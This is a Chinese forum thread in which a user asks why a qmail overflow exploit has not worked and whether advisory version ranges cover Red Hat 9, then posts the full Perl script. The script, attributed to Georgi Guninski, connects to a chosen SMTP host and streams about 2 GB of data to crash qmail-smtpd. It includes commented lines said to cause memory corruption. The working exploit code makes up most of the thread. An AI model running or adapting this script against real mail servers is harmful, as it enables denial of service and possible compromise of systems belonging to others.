qmail的益处代码有人用过了吗

dancingpig

perl写的，我怎么都走了1500多了还不行。要走多少几？

另外顺便问一个问题，有些安全警告写收影响系统是比如说RH 7。0、8。0
但是9.0也用的同一版本的软件是不是意味着9.0的软件虽然是一个版本，但是已经是修正过了。
是否这样的意思？

包子

哪一个，帖一下好吗？

dancingpig

1. 
   
2. ---qma4.pl----
   
3. #!/usr/bin/perl -w
   
4. 
   
5. #Copyright Georgi Guninski\nCannot be used in vulnerability databases and
   
6. #similar stuff
   
7. 
   
8. use IO::Socket;
   
9. 
   
10. my $port = $ARGV[1];
    
11. my $host = $ARGV[0];
    
12. 
    
13. my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || die "socket";
    
14. 
    
15. my $req = "HELO a\r\n";
    
16. my $fromaddr="they\@sux.org";
    
17. my $touser="postmaster";
    
18. 
    
19. print "qmail-smtpd SEGV. Copyright Georgi Guninski\nCannot be used in vulnerability databases and similar stuff\nWill connect to ${host}:${port} fromaddr=${fromaddr} touser=${touser}\n";
    
20. 
    
21. $req .= "MAIL FROM: ${fromaddr}\r\n";
    
22. $req .= "RCPT TO: ${touser}\r\n";
    
23. 
    
24. $req .= "DATA\r\n";
    
25. 
    
26. $req .= "1234567890";
    
27. 
    
28. #my $x = "\ng" x 100;
    
29. #print $x;
    
30. 
    
31. syswrite($socket,$req,length($req));
    
32. 
    
33. my $l1= 1024*1024;
    
34. my $p1 = "gg" x $l1;
    
35. my $pl = 2*$l1;
    
36. print "length=${pl}\n";
    
37. my $towrite = $l1*2050;
    
38. my $wri = 0;
    
39. $req = $p1;
    
40. while ($wri < $towrite)
    
41. {
    
42. syswrite($socket,$req,$pl);
    
43. if ( ($wri % $l1) == 0) {print "written=" . $wri/$l1 . "\n";}
    
44. # !!! uncomment the following lines to get qmail memory screw on linux according to gdb
    
45. #if ($wri/$l1 == 2044)
    
46. #{
    
47. #syswrite($socket,"g\r\n",3);print "injected\n";
    
48. #};
    
49. $wri += $pl;
    
50. }
    
51. 
    
52. $req = "test\r\n";
    
53. $req .= ".\r\n";
    
54. 
    
55. syswrite($socket,$req,length($req));
    
56. 
    
57. while(< $socket>)
    
58. {
    
59. print $_;
    
60. }
    
61. 
    
62. close $socket;
    

复制代码